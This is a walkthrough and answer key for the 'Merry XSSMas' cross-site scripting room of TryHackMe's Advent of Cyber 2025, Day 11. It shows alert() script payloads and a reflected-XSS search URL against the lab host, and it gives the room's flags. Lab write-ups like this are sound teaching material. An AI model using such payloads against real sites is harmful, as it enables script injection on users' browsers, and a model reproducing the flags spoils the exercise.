XSS - Merry XSSMas | Advent of Cyber 2025 - Day 11

This guide contains the answer and steps necessary to get to them for the XSS - Merry XSSMas room.

Which type of XSS attack requires payloads to be persisted on the backend?

This answer can be found in the text.

Click for answer
Stored
What's the reflected XSS flag?

We can test to see if the website is indeed vulnerable to XSS.
cmd
```
<script>alert('Reflected Meow Meow')</script>
```
If we search for this term, we get our flag in the pup-up.
cmd
```
https://trygiftme.thm/search?term=<script>alert( atob("VEhNe0V2aWxfQnVubnl9") )</script>
```
Click for answer
THM{Evil_Bunny}
What's the stored XSS flag?

After adding this comment to the form and submit it. We get notified about the flag.

If you are savvy, the flag can already be deduced from the search term and the comment. As it is Base64 encoded in the text.

Click for answer
THM{Evil_Stored_Egg}
If you enjoyed todays's room, you might want to have a look at the Intro to Cross-site Scripting room!

Table of contents